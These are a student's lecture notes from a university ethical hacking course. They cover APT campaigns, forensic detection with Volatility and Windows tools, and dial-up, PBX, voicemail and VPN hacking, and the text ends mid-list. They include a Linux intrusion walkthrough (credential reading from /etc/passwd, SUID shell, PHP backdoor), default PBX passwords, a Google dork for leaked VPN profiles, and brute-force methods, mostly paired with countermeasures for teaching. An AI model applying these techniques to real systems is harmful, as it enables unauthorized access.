SAPIENZA
UNIVERSITÀ DI ROMA

Course:

Ethical Hacking - Theory

Professors:
Luigi Vincenzo Mancini

Student:
Matteo Santini

Accademic Year 2021/2022

Contents

1 Chapter 6: Cybercrime and advanced persistent threats

1.1 What is an APT?

The term Advanced Persistent Threat was created by analysts in the United States Air Force in 2006. APTs are,as mentioned previously,essentially the actions of an organized group that has unauthorized access to and manipulates information systems and communications to steal valuable information for a multitude of purposes. It describes three aspects of attackers that represent their profile, intent, and structure:

- **Advanced:** The attacker is fluent with cyber-intrusion methods and administrative techniques and is capable of crafting custom exploits and tools.
- **Persistent:** The attacker has a long-term objective without being detected.
- **Threat:** The attacker is organized, funded and motivated.

Attackers may utilize various techniques to clean traces of their actions from system logs or may even choose to destroy an operating or file system in drastic cases. APT tools are distinguishable from other computer malware as they utilize normal everyday functions native within the operating system and hide in the file system in plain sight. APT groups do not want their tools or techniques to be obvious, so consequently, they do not want to impede or interrupt the normal system operations of the hosts they compromise. Instead, they practice **low-profile attack**, **penetration**, **reconnaissance**, **lateral movement**, **administration**, and **data exfiltration techniques**. While the techniques are accordingly low profile, the resulting artifacts from their actions are not. For example, the most popular technique used by APT groups to gain access to target networks is **spear[1]-phishing** that relies upon email:

- A record is maintained (generally in many places) of the message, the exploit method used, and the communications address and protocols used to correspond with the attackers control computers.
- The spear-phishing e-mail may include malware that deliberately attempts to exploit software on the user's computer or may refer the user to a server that, in turn, delivers custom malware for the purpose of gaining access for subsequent APT activities.
- Attackers generally utilize previously compromised networks of computers to hide behind for proxied command and control communications; however the addresses of the cut-out servers can offer important clues to determining the identity of the related attack groups.

[1] IT: lancia

Other popular and common techniques observed in APT campaigns include:

- SQL injection of target websites
- Meta-exploits of web server software
- Phishing
- Exploits of social networking applications as well as common social engineering techniques.
- Infected USB, Infected Hardware or Infected Software

APTs always involve some level of social engineering. Social Engineering helps attackers devise[2] applicable strategies for accessing, exploiting, and exfiltrating data from target information systems. In all cases, APTs involve multiple phases that leave artifacts:

1. **Targeting:** Attackers collect information about the target from public or private sources and tests methods that may help permit access such as: vulnerability scanning and spear-pishing.

2. **Access/compromise:** After having gained access the attackers determine the most efficient methods of exploiting the information systems and security posture of the target organization. In this phase they collects credential to facilitate addition compromises. Attackers may attempt to obfuscate their intentions by installing rogueware[3] or other malware.

3. **Reconnaissance:** Attackers enumerate the network architecture and test the administrative rights to access other systems and applications.

4. **Lateral Movement:** Once attackers have determined methods of traversing systems with suitable credentials and have identified targets (of opportunity or intent), they will conduct lateral movement through the network to other hosts.

5. **Data collection and exfiltration:** Attackers often establish collection points and exfiltrate the data via compromised servers or utilize custom encryption techniques.

6. **Administration and maintenance:** Another goal of an APT is to maintain access over time. Attackers usually attempt to advance their access methods to most closely reflect standard user profiles, rather than continuing to rely upon select tools or malware.

[2] IT: escogitare

[3] Rogueware: è una particolare categoria di malware che finge di essere un programma noto

Access methods may leave emails, web server and communications logs, or metadata and other artifacts related to the exploit techniques used. Reconnaissance and lateral movement leave artifacts related to misuse of access credentials (rules) or identities (roles). APT techniques are not dissimilar to administrative or operational access techniques. The difference between an unauthorized access and a normal one are associated artifacts (i.e. logs) that they leaves since the unauthorized one will exhibit anomalies when compared with authorized usage. In the next three sections, we describe three APT campaigns.

1.1.1 Operation Aurora

In 2009 companies such as Google, Juniper and Adobe where affected by this APT for a period of six months before becoming aware of the APTs activities. The attackers gained access to victims networks by using targeted spear phishing e-mails sent to company employees. The email contained a link to a Taiwanese website that hosted a malicious JavaScript (undetected by antivirus signatures). The JavaScript exploited an Internet Explorer vulnerability that allowed remote code execution by targeting partially freed memory. This Internet Explorer vulnerability allowed attackers to automatically place programs called Trojan downloaders on victim computers that exploited application privileges to download and install (and configure) a **backdoor Trojan remote administration tool**[4] (RAT). That RAT provide access by SSL-encrypted communication. The hackers compromised the Active Directory credentials and where able to access secret data. Spear-phishing and downloader linked to Taiwan, Backdoor Command Control servers were traced to two schools in China but there are no proof that Chinese government or industry sponsored or supported the attacks.

1.1.2 Anonymous

Anonymous emerged in 2011 as a highly capable group of hackers with the demonstrated ability to organize in order to target and compromise government and industry computers. They successfully conducted denial of service attacks against banks, penetrated and stole confidential information from government agencies, and exposed confidential information, with devastating effects. They utilize a variety of hacking techniques, including **SQL injection** and **cross-site scripting**, and **web service vulnerability exploits**. They also utilize **social engineering techniques** such as targeted **spear-phishing** and imitating company employees like help desk personnel in order to gain logon credentials. They are very creative, and very successful. Their ultimate objective is to expose information, however, not to use it for competitive or financial gain. They also infiltrate computer networks and even establish backdoors that can be used over time. Because Anonymous represents a social interest group, their objective is to

[4] Fuori dal libro: Remote Access Trojan

demonstrate **the ability of a few to affect the many** by interrupting services or by making sensitive information public.

1.1.3 Russian Business Network (RBN)

The Russian Business Network (RBN) is a **criminal organization** of individuals and companies that was based in St. Petersburg, Russia, but by 2007 **had spread to many countries** through affiliates for international cybercrime. The organization operates **several botnets** available for hire; conducts **spamming**, **phishing**, **malware distribution**; and **hosts pornographic** (including child and fetish) subscription websites. The botnets operated or associated with RBN are organized, have a simple **objective of identity and financial theft**, and utilize very sophisticated malware tools to **remain persistent on victims computers**.

1.2 What APTs are Not

An APT is neither a single piece of malware, a collection of malware, nor a single activity. It represent coordinated and extended campaigns intended to achieve an objective that satisfies a purpose whether competitive, financial, social or reputational.

1.3 Example of popular APT tools and techniques

To describe APT activities and how APT can be detected, the following sections include examples of tools and methods used in several APT campaigns.

1.3.1 Gh0St attack

Gh0st RAT it's the tool used in the Gh0stnet attacks in 2008-2010, has gained notoriety as the example of malware used for APT attacks (most famous was the attack to the Private Office of Dalai Lama, originated in China). Some of its capabilities are the following:

- **File Manager:** Complete file explorer capabilities for local and remote hosts.
- **Screen Control:** Complete control of remote screen.
- **Process Explorer:** Complete list of all active process and windows.
- **Keystroke logger:** Real-time and offline remote keystroke logging.
- **Remote Terminal:** Fully functional remote shell.
- **Webcam eavesdropping:** Live video feed of web camera.
- **Remote file downloads:** Ability to download binaries from the Internet to the remote host.

1.3.2 Malicious e-mail

Pishing email with URL to click example: the email was sent from a USA company and its content it's about a money transfer made due to an error and it also includes a link referring to the error report. The investigators firstly see that the link was using a a German URL and it's strange since the mail was sent from a USA company. By using **WHOIS**, **Robtex** and **PhishTank** the investigator discovered that the IP address originated from Germany and was on several **blacklists** as being used in **SPAM campaigns**.

1.3.3 Indicators of Compromise

Malware, whether used by APTs or in normal situations, wants to survive a reboot. To do this, the malware can use several mechanisms, including:

- Using various Run registry keys
- Creating a service
- Hooking into an existing service
- Using a scheduled task
- Overwriting the MBR[5] master boot record
- Overwriting the system BIOS

To investigate a suspicious system, investigators use a mix of forensic techniques and incident response procedures. The correct way to perform incident response is by using the order of volatility described in in RFC 3227:

1. Memory
2. Page or swap file[6]
3. Running process info
4. Network data such as listening ports or connections
5. System registry
6. System or application log files
7. Forensics image of disk

[5] è il primo settore di un disco ed è destinato a contenere le informazioni essenziali per l'avvio del sistema

[6] Swap file is a file that contains data retrieved from system memory.

8. Backup media

Incident response tools should be copied to a CD-ROM and an external mass-storage device in order to avoid contaminating the evidence.

1.3.4 Memory Capture

Using the order of volatility, first perform a memory dump of the compromised computer and export it to the external mass-storage device. **FTK Imager:** this tool permits to capture the memory and save it as a file in an output folder. Memory analysis is performed after you have gathered all the evidence. Several memory analysis tools are available including the **Volatility Framework**. Each have the ability to extract process related information from memory snapshots, including **threads, strings, dependencies, and communications**. These tools allow analysis of the memory snapshot as well as related Windows operating system files **pagefile.sys**[7] and **Hiberfil.sys**[8]. Memory analysis is a crucial part of APT analysis as many tools or methods employed by attackers will involve process injection or other obfuscation techniques. Those techniques are ineffective against memory analysis since the files and communications must necessarily be unencrypted in the operating system processes that they serve.

1.3.5 Pagefile/Swapfile

The **virtual memory** used by the Windows operating systems is stored in a file called **Pagefile.sys** (Pagefile), which is kept in the root directory of the C: drive. When the physical memory is exhausted, process memory is swapped out as needed. The Pagefile can contain valuable information about malware infections or targeted attacks. Similarly, the **Hyberfil.sys contains in memory data stored while the system is in Hibernation mode** and can offer additional data to examiners. Normally, this file is hidden and in use by the operating system. With FTK Imager, you can copy this file to the evidence gathering device.

1.3.6 Memory Analysis

We can use Volatility Framework Tools with this commands/approach:

- *python vol.py -f path-to-file.mem* ***imageinfo***
  This permits image identification.

- *python vol.py -f path-to-file.mem* ***pslist***
  Retrieve of process list.

[7] pagefile = swapfile.

[8] This file stores the state that the PC was in just before hibernate mode was activated, in the hard drive, by the user.

- *python vol.py -f path-to-file.mem* ***connscan***
  Retrieve active connection list.

- *python vol.py -f path-to-file.mem* ***dlllist -p 1024***
  Information of a specific process (in this case 1024).

- *python vol.py -f path-to-file.mem dlllist -p 1024* ***-dump-dir /Media/Storagedevice***

  This permits to dump the DLL from the process.

- With ***strings*** and the DLL dump we can check the DLL payload.

- We can use volatility plugins to check traces of malware (**malfind**)

- Finally we can upload the files generated by malfind to VirusTotal.

1.3.7 File/Process Capture

- **Master File Table (MFT):**
  Like pagefile.sys can be copied also the MFT can be copied and analyzed. Each file on NTFS volume is represented by a record in a special file called MFT. Every raw provide: Filenames, timestamps,and many more“metadata”can be retrieved to provide insights into the incident through timeline correlations, filenames, file sizes, and other properties. The timestamp can be useful during the analysis i.e. we can check the activity happened in the same time when the user has opened the malicious email.

- **Network/Process/Registry:**
  On the compromised computer we can use netstat (network statistic) as follows:

  netstat - ano

  1. **-a:** Display all active connections and the TCP and UDP ports on which the computer is listening.
  2. **-n:** Display active TCP connections; however, addresses and port numbers are expressed numerically and no attempt is made to determine names by using DNS queries.
  3. **-o:** Display active TCP connections and include the process ID (PID) for each connection.

  The output of the netstat command can be saved inside a .txt file.

- **Host file:**
  A quick check can be made of the system’s hosts file for changes.

- **Currports:**
  Another tool for investigating network session. From each connection we can retrieve the PID, process name (i.e. svchost.exe), the network port and other useful information like the used module (DLL).

- **Process Eplorer:**
  We can lookup into a specific process and we can retrieve information such as the DLL references, the strings saved in memory and in the image and also if the process executes other process such as the cmd.exe.

- **Process Monitor:**
  Process Monitor allows us to view all kernel interactions that processes make with the file and operating systems. For example it can check the process activities such as thread creation and possible commands for the cmd.

- **VMMap:**
  It's a memory analysis tool. It shows virtual/physical memory map so also this tool permits us to check the DLL strings. (i.e. "Gh0st Update, AVCSceenSpy" maybe we are in front of a RAT)

- **DNS Cache:**
  It can be useful to dump the cached DNS requests that the suspicious host has made in order to find other possible infection hosts. The command for doing that is the following one:

  ipconfig /displaydns

- **Registry Query:**
  In order to be persistent the RAT needs can hide itself into the windows registry. In order to check the registry value we can use:

  reg query *"windows registry key"*

  We can check the Run, RunOnce and services registry values.

- **Scheduled Tasks:**
  Another item that you should check on the suspicious host is the Task Scheduler. In order to check it we have to execute the following command from the command prompt:

  at

  schtasks

We can find useful information such as the execution of a file scheduled everyday.

- **Event Logs:**
  From the suspicious system we can retrieve the System and Security Event Logs. From the logs we are able to understand which action were performed on the system by the attacker. (i.e. opened a command prompt, add user account to the system, created a scheduled task and used FTP).

- **Prefatch Directory:**
  The Prefetch option is enabled by default on most Windows systems. It contains a historical record of the last 128 "unique" programs executed on the system.

- **Collecting Interesting Files:**
  After collecting the volatile data in the right order we can analyze some interesting files such as:

  1. **ntuser.dat:** User's profile data.
  2. **index.dat:** Requested URLs.
  3. **.rdp files:** Information about remote desktop session.
  4. **.bmc files:** Contains chached images of the remote desktop session.
  5. **Antivirus log file:** Contains virus alerts.

- **Analyzing the RDP files:** It contains interesting details about servers accessed and the login information. The file is saves as an XML we can discover some information such as the servers that the attackers tries to reach.

- **Analyzing the BMC files:** When using Remote Desktop Connection to access a remote computer, the server sends bitmap information to the client. **BMC Viewer** permits to get information about attacker's movement around the compromised network, the applications or file accessed and the credentials used.

- **Investigating the System32 Directory for Anomalies:**
  A useful way to investigate the system32 directory for suspicious files is to use ***diff*** with the directory itself. In this way we get a list of files changed in this directory since installation. i.e. we can get a list containing dll, .bat and other types of files.

- **Antivirus Logs:**
  Check antivirus configuration that could exclude the detection of certain PUP (Potentially Unwanted Program) such as netcat.

- **Network:**
  Analyze traffic between compromised host to C2 server with Wireshark. e.g. If

every malicious packet starts with "Gh0st" we can create a (IDS) SNORT rule that checks this condition.

1.3.8 Summary of Gh0St Attack

1. Malicious URL contained in the phishing Email creates a backdoor on the user system.
2. Backdoor hides itself into svchost process and tries to survive at every reboot with the system registry.
3. Connection to C2.
4. Check internal domain, create accounts, use Terminal Server to hop to other hosts (Event Logs).
5. It was clear that they were looking for documents and zipping them for exfiltration.
6. Create a 2nd backdoor using netcat.
7. Create user account and execute FTP.
8. Schedule a new job to clean logs everyday.

1.4 Linux Apt Attack

APT involved not only Windows System but also Linux is susceptible to attack and compromise through web services, application vulnerabilities and network services. The target system scenario is the following one:

- Linux host Apache TomCat with default/weak password.
- We get shell one the machine using Metsploit Framework (MFS) through the Tomcat service.
- With *cat /etc/passwd* we get an an admin account named "jack" and we find its password in the *gecos* field[9]. Otherwise we can connect to Tomcat, find \shadow.bak and crack passwords
- With this account the attacker has access to the admin privilege (*sudo su*).
- They install a PHP backdoor, create a SUID root shell for getting root back in case a password gets changed and leave evidence of scanning around in a RAM drive; if the machine gets cut off that evidence goes away.

[9] GECOS field is a field in each record in the /etc/passwd file

- Use host pivot to other hosts or run shell like Meterpreter in memory without disk writes: leave little on the host.

As analyst we receive the administrator password in order to investigate the system.

1.4.1 Indicators of Compromise

- New created file (i.e. test-cgi.php).
- We can check the root account history.
- Tomcat access log. From this we can see that from internet someone has installed an application inside Tomcat with root privilege (Tomcat with default password make the work easier).
- We can check network status (listening ports and active connections) with **netstat** and **lsof**. A rootkit could cause these programs to lie.
- The hacker might hide files, some popular tricks are:
  1. RAM drives (they are volatile so they disappear if the host is powered off).
  2. Dive slack space.[10]
  3. Virtual file system /dev.
  4. Creating files or directories that are"hard to see" like "**..**".
  5. ***/tmp*** and ***/var/tmp*** as they are writable by everyone and not a place that administrators tend to look on a regular basis.
- We find a "**..**" directory with SUID set, with root as owner. Inside this we find a script that creates a virtual disk inside the RAM and saves the file inside the /var/tmp folder.
- The **df** command permits us to see the RAM drives.
- In the root directory we find ***excve*** and ***/bin/sh*** thanks to the ***string*** command. With this two elements the attacker has the possibility to regain root privileges in case the lost the super-user access.
- With ***find*** we can search for files (***-f***) and we can filter for creation date (***-daystart***).
- test-cgi.php allows a backdoor shell through PHP.

[10] ITA: spazio frammentato nel drive.

1.4.2 Summary of Linux APT Attack

1. Tomcat server with weak credentials → attackers gain root control.
2. SUID shell, PHP shell and compromised accounts → serveral ways to get back in the system.
3. Thanks to Metasploit Framework a single compromised macine could be used as a *pivot host* + Meterpreter that runs in memory.

1.4.3 Poison Ivy

Poison Ivy has become a ubiquitous tool utilized by many attackers in APT campaigns (Operation Aurora, RSA Attacks, Nitro). The most popular mechanism for deploying and installing Poison Ivy RAT is via spear-phishing e-mails with a Trojan dropper (often suffixed with a self executing "7zip" extension). When a user opens the attachment in the spear-phishing e-mail, the backdoor dropper is installed and calls out to a programmed address for updates and to notify the attackers that it is active.
Note: A tool itself is not an APT, the persistent campaign is!

1.4.4 TDSS (TDL1-4):

TDSS, also known as Zero Access and Purple Haze, is a malware that is difficult to detect. It infected the networks and it employs:

- A rootkit, with encrypted files and encrypted communications.
- C2 communications operated over a vast array of compromised hosts (more than five million).
- It works over open proxies and even P2P networks.

The compromised hosts generate a botnet. The bot network is generally used as a **Malware As A Service platform** for subscribers to conduct varied activities, including distributed denial of service (**DDoS**) attacks, **click fraud for advertising revenues**, and to **remotely install and execute additional backdoor Trojans**.

1.5 Common APTs Indicators

Generally the the majority of targeted attacks start with a spear-phishing of loosely targeted addresses. Other initiation vectors include any medium (i.e. message chat) where a user can click a URL to malicious site. Techniques such as SQL injection are less common for an APT since those are more visible and does not hide from normal user activity. Common set of indicators regarding the APTs:

- Network communications utilizing **SSL or private encryption methods**, or sending and receiving **base64-encoded strings**.
- **Copies of CMD.EXE as SVCHOST.EXE** or other filenames in the **TEMP/folder**.
- **LNK** files referencing executable files that no longer exist.
- **RDP** files referencing external IP addresses.
- Windows Application Event Log entries of **antivirus and firewall stop and restart**.

Most common metod of attack follos this general pattern:

1. A **spear-phishing** e-mail is delivered to address(es) in the organization.
2. A **user** opens the e-mail and **clicks a link** that opens the web browser or another application, such as Adobe Reader, Microsoft Word, Microsoft Excel, or Outlook Calendar. The **link is redirected to a hidden address, with a base64-encoding key**.
3. The hidden address refers to a dropsite, which **assesses the browser agent** type for known vulnerabilities and **returns a Trojan downloader**. The Trojan download is usually located in the temporary folder and **automatically executed**.
4. The downloader sends a base64 encoded instruction to a different dropsite from which a **Trojan dropper** is delivered. The Trojan dropper is used to **install a backdoor** that is either:
   - **Packaged into the dropper and then deletes itself**, and the trojan backdoor begins **beaconing out the C2 server**.
   - Requested from a **dropsite according to system configuration** details that the dropper communicates to the dropsite. Then the dropper deletes itself and the Trojan backdoor begins **beaconing out to the C2 server**.
5. The dropper usually **install the backdoor in system32** folder and registers the DLL or EXE as a subprocess of svchost:

   svchost.exe ***netsvcs*** *-k*

   In this way the **DLL or EXE are runs as services and survive the reboot**.
6. The Trojan **backdoor** typically uses a **filename** that is **similar to**, but slightly different from, **Windows filenames**.

7. The Trojan backdoor uses **SSL encryption for communications with its C2** server via a cutout or **proxy server** that **routes the communications according to base64 instructions** or passwords in the communication header. Often several proxies are used in transit to mask the path. The beacon is usually periodic, such as every five minutes or hours.

8. The **attacker interacts with** the Trojan **backdoor** via the **proxy network**, or occasionally directly from a **C2 server**.

9. The attacker typically begins with **Computer name** and **User accounts** listings to gain an understanding of the naming conventions used and then uses a **pass-the-hash** or security dump tool in order to obtain **local and Active Directory account information**.

10. The attacker often uses **service privilege escalation for initial reconnaissance to gain lateral movement in the network**. When the attacker gains the local privileges usually he or she uses **scheduled Task** to instantiate a command **shell with administrative permission**.

11. The attacker **cracks the passwords offline** and uses the credentials to perform reconnaissance of the **compromised network via the Trojan backdoor**, including network scans, shares, and services **enumerations** using DOS. This helps the attacker determine **lateral access availability**.

12. Lateral movement by using **RDP (Terminal Services)**, **SC.exe (to create services)**, or **NET commands (to connect to shares)**. **If lateral access is denied** the attacker will use **NAT proxies**.

13. When network lateral movement and reconnaissance activities have been completed, the attacker moves to a second stage and **installs additional backdoor** Trojans and **reverse proxy** utilities to establish **egress points**[11].

14. The egress points are used to collect and steal targeted proprietary information, usually in encrypted ZIP or RAR packages, often renamed as GIF files.

1.5.1 APT Detection

Some effective techniques to detect this type of attacks are:

1. Audit changes to the file system.

2. SMS alerts on administrative logins.

3. Firewalls rules and IDS rules that monitor inbound RDP/VNC/CMD.EXE.

[11] ITA: punti di uscita

4. Antivirus and HIPS (like snort).

5. Security Information/Events Management (SIEM).

2 Chapter 7: Remote Connectivity and VoIP Hacking

2.1 Remote Connectivity and VoIP Hacking

Dial-up Hacking[12]. The approach is still the same: footprint, scan, enumerate, exploit. The exceptions is that the entire process can be automated with traditional hacking tools called *wardialers* or *demon dialers.*

2.2 Preparing to Dial up

Dial-up hacking begins with identifying blocks of phone numbers, taken from many different sources, to load into a wardialer.

2.2.1 Phone Number Footprinting

- The starting point is the **phone directories**[13] but there are also some **companies that sell libraries of business phone** saved into CD-ROM.
- Also the **corporate web site can publish their entire phone directories**. Also in the **Internet name registration database**, with **WHOIS** command, we can retrieve company's contact.
- Finally the **manual dialing** can be used in footprinting hoping that someone answers with "XYZ Corporation, may I help you?".
- **Voicemail** messages left by employees notifying callers that they are on vacation is a good information for an attacker. If an employee identifies their rule inside the company on the voicemail system message, this information can be used from the attacker against other employees (i.e. "Hi, leave a message for Jim, Marketing Director").

Once a main phone number has been identified, attackers may wardial the entire "exchange" surrounding number. For example if Acme Corp.'s main phone number is 555-555-1212, a wardialing session will be set up to dial all 10,000 numbers within 555-555-XXXX. Using four modems and a good wardialing software, this range can be dialed within a day or two, so granularity is not an issue.

Leaks Countermeasures

- Limit the exposure of the phone numbers.
- Require a password to make any inquiries about an account.

[12] Hacking sulle linee telefoniche analogiche.

[13] ITA: elenco telefonico.

- Develop an IT department that keeps websites, banners sanitized of sensitive information, including phone numbers.
- Educate the employee.

2.3 Wardialing

Wardialing essentially boils down to a choice of tools. We will see: VoIP (WarVOX), TeleSweep ad PhoneSweep.

Hardware When performing traditional wardialing that uses dial-up modems, the choice of modem hardware is just as important as the software. More modem implies less time for calling a certain number of phone number. Generally the wardialing software it's configured with a timeout of 45-60 seconds before call the next phone number in order to avoid missing potential targets due to noisy lines. 10'000 number range takes about 7 days of 24 h/day dialing with one modem but in the reality the wardial works during the office hours (6 a.m. to 6 p.m). Some wardialer are able to perform voice detection, for example, allows some wardialing software to log a phone number as"voice".

Legal Issues Laws about wardialing activities regarding: Identify phone lines, record calls, spoof phone numbers, etc. Wardialing should only be performed for legally authorized security audits and inventory management.

Peripheral costs[14] Long distance or international charges that are easily accumulated during intense wardialing of remote targets. If performing the wardial using company resources, the corporate calling plan may already allow free long distance charges and/or free or reduced international calling. Software
Because most wardialing is performed during off-hours to avoid conflicting with peak business activities, the ability to **schedule** continual scans flexibly during non peak hours can be invaluable. Other important software characteristics are: **ease of setup**, **ease of use** and **fingerprint accuracy**.

2.3.1 WarVox

Traditional wardialers use an array of modem but WarVOX uses Voice over IP (VoIP) to identify phone lines. The availability of low-cost Internet-based VoIP providers allows these tools to scale very well at modest costs and minimum downstream bandwidth per line. VoIP-based wardialers **do not negotiate with other modems**, hence, **they cannot be used for carrier exploitation**. However, this new class of wardialer is

[14] ITA: Costi Accessori.

very **useful for fingerprinting and categorizing numbers as voice, modem, fax** and so on.

2.3.2 TeleSweep

TeleSweep is available as a free download on SecureLogix but it requires registration using a corporate or university e-mail account. It's easy to setup. The way the product works is with **profiles** and **objects**.

- **Profile:** used to organize the activities. Is possible to assign each client or division their own profile.
- **Objects:** used for different purpose such as: to control time windows we need to use **time objects**, to add a phone number we need to first add a **phone number object**, for username and password guessing too we need objects. The main advantage is that they are reusable.

2.3.3 PhoneSweep

Is the most user friendly since it has a simple GUI with all the functionality exposed. The main features that make PhoneSweep stand out are its simple graphical interface, automated scheduling, attempts at carrier penetration, simultaneous multiple-modem support and elegant reporting. It's easily configurable to dial during business hours, weekend or outside hours. Number ranges are called profiles and are dialed on any available modem. This tool and Telesweep allow to perform **brute force attacks** trying three guesses, after the target system hangs up the try three more and so on.

2.3.4 Carrier Exploitation Techniques

Wardialing itself can reveal easily penetrated modems, but more often than not, **careful examination of dialing reports** and **manual process** are necessary **to determine the level of vulnerability of a particular dial-up connection**. Some PBXes[15] can be configured to allow remote dial-out and respond with a second dial tone when the correct code is entered. Improperly secured, these features can allow intruders to make long-distance calls anywhere in the world on someone else's dime.

2.3.5 Brute-Force Scripting - The Homegrown Way

Once the result from the output from any of the wardialers are available, the next step is to categorize the result into what we call *domains*. Important factors to identify in a modem connection:

[15] PBX è l'acronimo di Private Branch Exchange, ovvero una rete telefonica privata utilizzata all'interno di un'azienda o organizzazione.

- Whether the connection has a timeout or attempt threshold.
- Whether the connection is only allowed at certain times.
- Whether you can correctly assume the level of authentication (that is, user ID only or user ID and password only)

Once we have this information we can put the connections into the *wardialing penetration domains* that are:

1. **Low Hanging Fruit (LHF)**: Easily guessed or commonly used passwords. It's just a guessing progress in which we may attempt to use the default system password.

2. **Single Authentication, Unlimited Attempts**: ONE type of authentication (password or ID), NOT disconnect after a number of failed attempts. We have to pay attention in the case the system has two authentication mechanism (first we brute force the username and after we crack it the system will ask for the user password). We can use tools such as: Procomm Plus, ASPECT scripting language and ZOC.

3. **Single Authentication, Limited Attempts**: ONE type of authentication (password or ID), Disconnect after a number of failed attempts. We need to edit the script code in order to handle dial-back after the threshold of login attempts has been reached.

4. **Dual Authentication, Unlimited Attempts**: TWO type of authentication (password and ID), NOT disconnect after a number of failed attempts. Similar to the first one but it requires more time since we need to guess two fields.

5. **Dual Authentication, Limited Attempts**: TWO type of authentication (password and ID), Disconnect after a number of failed attempts. Similar to the third domain but this process is the most slower since we also need to dial-back.

In general, the further you go down the list of domains, the longer it can take to penetrate a system. As you move down the domains, the scripting process becomes more sensitive due to the number of actions that need to be performed.

2.3.6 Dial-up Security Measures

Numbered checklist of issues to address when planning dial-up security for your organization:

1. Inventory existing dial-up lines.

2. Consolidate all dial-up connectivity to a central modem bank. Position as an untrusted connection off the internal network.

3. Make analog lines harder to find. Don't put them in the same range as the corporate numbers.

4. Verify that telecommunications equipment closets are physically secure.

5. Regularly monitor existing log features within your dial-up software, like failed login attempts. Use Caller ID to store all incoming phone numbers (Caller ID can be spoofed).

6. For business serving lines, do not disclose any identifying information. Ensure that the banner contains a warning about consent to monitoring and prosecution for unauthorized use.

7. Require multi-factor authentication systems for all remote access (Like one time passwords).

8. Require dial-back authentication. Dial-back means that the remote access system is configured to hang up on any caller and then immediately connect to a predetermined number.

9. Ensure that the corporate help desk is aware of the sensitivity of giving out or resetting remote access credentials.

10. Centralize the provisioning of dial-up connectivity, from faxes to voicemail systems, within one security-aware department in your organization.

11. Establish policies for the operation of this central division, such that providing any new access requires extreme attention and controls.

12. Back to step 1.

2.4 PBX (Private Branch Exchange) Hacking

Dial-up connections to PBXes still exist. They remain one of the most used tool for managing the PBX. The best practice should be to turn on the connection for managing the PBX only when it's needed and turn off it when the work it's done. Since many companies leave the connection on constantly those are exposed to wardialing attacks. Hacking PBXes takes the same route as described earlier for hacking typical dial-up connections.

2.4.1 Octel Voice Network Login

With Octel PBXes, the system manager password must be a number. The system manager's mailbox, by default, is 9999 on many Octelsystems. Some organizations simply change the default box from 9999 to 99999.

2.4.2 Williams/Northern TelecomPBX

The user password is a number. This user number is typically for a first-level user,and it requires a four-digit numeric-only access code. Brute force attack.

2.4.3 Meridian Links

There are some default user IDs/passwords (e.g. maint/maint; mluser/mluser).

2.4.4 Rolm PhoneMail

There are some default user IDs/passwords (e.g. sysadmin/sysadmin; tech/tech; poll/tech).

2.4.5 PBX Protected by RSASecurID

It uses a challenge-response system that requires the use of a token. It's not possible to defeat this system.

2.4.6 PBX Hacking Countermeasures

As with the dial-up countermeasures, be sure to reduce the time when modems turned on; deploy multiple forms of authentication.

2.5 Voicemail Hacking

Two old tool for voicemail hacking:

1. **Voicemail Box Hacker 3.0**. It works only for four digit passwords.

2. **VrACK 0.51**. It works for old system (x86).

Both are not being updated. The best solution for hacking voicemail is with **ASPECT** scripting language. The voicemail boxes can be hacked in a similar gashion to our **brute-force** dial-up hacking methods. The primary difference is that using the brute force scripting method changes the assumptions made because essentially you are going to use the scripting method and at the same time listen for a successful hit instead of logging and going back to see whether something occurred.
To attempt to compromise a voicemail system either manually or by programming a brute-force script the required tools are:

- The main phone number of the voicemail system to access voicemail;

- A target voicemail box including the number of digits (typically three, four, or five);

- An educated guess about the minimum and maximum length of the voicemail box password;

Countermeasures:

- Deploy a lockout on failed attempts so if someone were trying a brute-force attack, they could only get to five or seven attempts before they would be locked out.

- Log connections to the voice mail system and watch an unusual amount of repeated attempts.

2.6 VPN Hacking

VPN is a broader concept instead of a specific technology or protocol; it involves encrypting and "tunneling" private data through the Internet. The primary justifications for VPN are security, cost savings and convenience. By leveraging existing Internet connectivity for remote office, remote user,and even remote partner (extranet)communications. The two most widely known VPN "standards"are IP Security (IPSec)and the Layer 2 Tunneling Protocol (L2TP).

2.6.1 Basics of IPSec VPNs

Internet Protocol Security, or IPSec, is a collection of protocols that provide Layer 3 security through authentication and encryption. All VPNs (site-to-site, client-to-site) establish a private tunnel between two networks over a third, often less secure network.

- **Site-to-site VPN**. With a site-to-site VPN, both endpoints are normally dedicated devices called VPN gateways that are responsible for a number of different tasks such as tunnel establishment, encryption and routing. Systems wishing to communicate to a remote site are forwarded to these VPN gateways on their local network, which, in turn, seamlessly direct the traffic over the secure tunnel to the remote site with no client interaction.

- **Client-to-site VPN**. Client-to-site VPNs require users to have a software-based VPN client on their system that handles session tasks such as tunnel establishment, encryption and routing. Depending on the configuration, either all traffic from the client system will be forwarded over the VPN tunnel (split tunneling disabled) or only defined traffic will be forwarded while all other traffic takes the client's default path (split tunneling enabled).

One important note to make is that with split tunneling enabled and the VPN connected, the client's system effectively bridges the corporate internal network and the Internet.

This is why it is crucial to **keep split tunneling disabled** at all times unless it is absolutely required.

2.6.2 Authentication and Tunnel Establishment in IPSec VPNs

IPSec uses the **Internet Key Exchange(IKE)** protocol for **authentication** as well as **key and tunnel establishment**. IKE is split into two phases,each of which has its own distinct purpose:

1. **Phase 1.** Main Goal: **authenticate** the two communicating parties with each other and then **set up a secure channel** for IKE Phase 2. This can be done in two mode:
    (a) **Main Mode.** It uses three separate two-way handshake (total of six messages). This process **first establishes a secure channel in which authentication information is exchanged securely** between the two parties.
    (b) **Aggressive Mode.** In only three messages, Aggressive mode accomplishes the same overall goal of Main mode but in a faster, notably less secure fashion. Aggressive mode **does not provide a secure channel to protect authentication information**, which ultimately exposes it to **eavesdropping attacks**.
2. **Phase 2.** IKE Phase 2's **final aim is to establish the IPSec tunnel**, which it does with the help of IKE Phase 1.

2.6.3 Google Hacking for VPN

One particular VPN-related Google hack is **filetype:pcf**. The PCF file extension is commonly used to store profile settings for the Cisco VPN client. These configuration files can contain sensitive information such as the **IP address of the VPN gateway, usernames and passwords.** Example for run this query for get pcf information for "elec0ne.com" site: *filetype:pcf site:elec0ne.com.* With this information, an attacker can download the **Cisco VPN Client, import the PCF, connect to the target network via VPN and launch further attacks on the internal network**! The passwords stored within the PCF file can also be used for password reuse attacks with Cain.
Countermeasures:

- Those in charge of publishing web content should understand the risks associated with putting anything on the Internet;
- Sanitize sensitive information on websites;

- Perform annual checkup using the ”site:” operator and search information about your organization from other sites;
- Use Google Alerts service;

2.6.4 Probing IPSec VPN Servers

First step for probing is to see if its service's corresponding port is available (UDP 500). Tools:

